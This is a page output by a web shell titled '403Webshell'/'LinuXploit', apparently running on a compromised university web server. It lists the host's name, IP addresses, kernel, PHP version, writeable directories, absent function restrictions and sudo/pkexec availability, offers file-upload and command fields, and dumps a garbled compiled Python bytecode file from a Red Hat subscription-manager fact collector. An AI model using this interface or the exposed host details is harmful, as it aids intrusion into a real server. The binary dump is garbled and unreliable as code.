403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.6/site-packages/rhsmlib/facts/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.6/site-packages/rhsmlib/facts/__pycache__/virt.cpython-36.pyc
3

a�e��@s�ddlmZmZmZddlZddlZddlZddlmZddl	m
Zeje
�ZGdd�dej�ZGdd�dej�ZGd	d
�d
ej�ZdS)�)�print_function�division�absolute_importN)�	collector)�check_outputc@seZdZdd�Zdd�ZdS)�VirtWhatCollectorcCs|j�S)N)�
get_virt_info)�self�r
�/usr/lib64/python3.6/virt.py�get_all szVirtWhatCollector.get_allcCs�i}yPtd�}dj|j��}t|�|d<t|�rBd|d<||d<nd|d<d|d<Wn4tk
r�}ztj|�d|d<WYdd}~XnXy|djd	�dkr�d|d<Wntk
r�YnX|S)Nz/usr/sbin/virt-whatz, z
virt.is_guestTzvirt.host_typeFzNot ApplicableZUnknownZdom0����)	�compat_check_output�join�
splitlines�bool�	Exception�logZ	exception�find�KeyError)r	Z	virt_dictZ	host_type�er
r
rr$s&

zVirtWhatCollector.get_virt_infoN)�__name__�
__module__�__qualname__rrr
r
r
rrsrc@s6eZdZddgZdddgZdd�Zdd	�Zd
d�ZdS)
�VirtUuidCollectorZppc64Zppc64leZpowervm_lx86zxen-dom0Zibm_systemzcCs|j�S)N)�
get_virt_uuid)r	r
r
rrQszVirtUuidCollector.get_allcCs�i}|jr"d|jkr"|jd|d<|j|jkrF|j�}|dk	rF||d<y,tdd�}|j�}|j�|jd�|d<Wntk
r�YnX|S)z�
        Given a populated fact list, add on a virt.uuid fact if appropriate.
        Partially adapted from Spacewalk's rhnreg.py, example hardware reporting
        found in virt-what tests
        zdmi.system.uuidz	virt.uuidNz/sys/hypervisor/uuid�rz
)	�_collected_hw_info�arch�devicetree_vm_uuid_arches�_get_devicetree_uuid�open�read�close�rstrip�IOError)r	Zvirt_uuid_dictZuuidZ	uuid_filer
r
rrTs
zVirtUuidCollector.get_virt_uuidcCs�|j�d�|j�d�g}x||D]t}tjj|�s0qy0t|��}|j�}|jtjd�}|SQRXWqt	k
r�}zt
jd||�WYdd}~XqXqWt
jd|j�dS)aL
        Collect the virt.uuid fact from device-tree.

        For ppc64/ppc64le systems running KVM or PowerKVM, the
        virt uuid is found in /proc/device-tree/vm,uuid.

        For ppc64/ppc64le LPARs, the UUID is found in
        /proc/device-tree/ibm,partition-uuid.

        (In contrast to use of DMI on x86_64).
        z/proc/device-tree/vm,uuidz$/proc/device-tree/ibm,partition-uuid�Nz+Tried to read %s but there was an error: %sz No available file for UUID on %s)
�prefix�os�path�isfiler"r#�strip�stringZ
whitespacer&r�warnr)r	Z
uuid_pathsZ	uuid_pathZfo�contentsZvm_uuidrr
r
rr!ts


$z&VirtUuidCollector._get_devicetree_uuidN)rrrr �no_uuid_platformsrrr!r
r
r
rrGs

 rc@seZdZdd�ZdS)�
VirtCollectorcCs�i}t|j|jd�}|j�}|j|�x4tjD]*}|jdd�dksT|dj|�dkr.|Sq.W|dr�t|j|j|j	d�}|j�}|j|�|S)N)r(�testingzvirt.host_typer
z
virt.is_guest)r(r2Zcollected_hw_infor)
rr(r2r�updaterr0�getrr)r	Z	virt_infoZvirt_what_collectorZvirt_what_infoZno_uuid_host_typeZvirt_uuid_collectorZvirt_uuid_infor
r
rr�s 


zVirtCollector.get_allN)rrrrr
r
r
rr1�sr1)Z
__future__rrrZloggingr-r)Z
rhsmlib.factsrZrhsmlib.compatrrZ	getLoggerrrZFactsCollectorrrr1r
r
r
r�<module>s
(P

Youez - 2016 - github.com/yon3zu
LinuXploit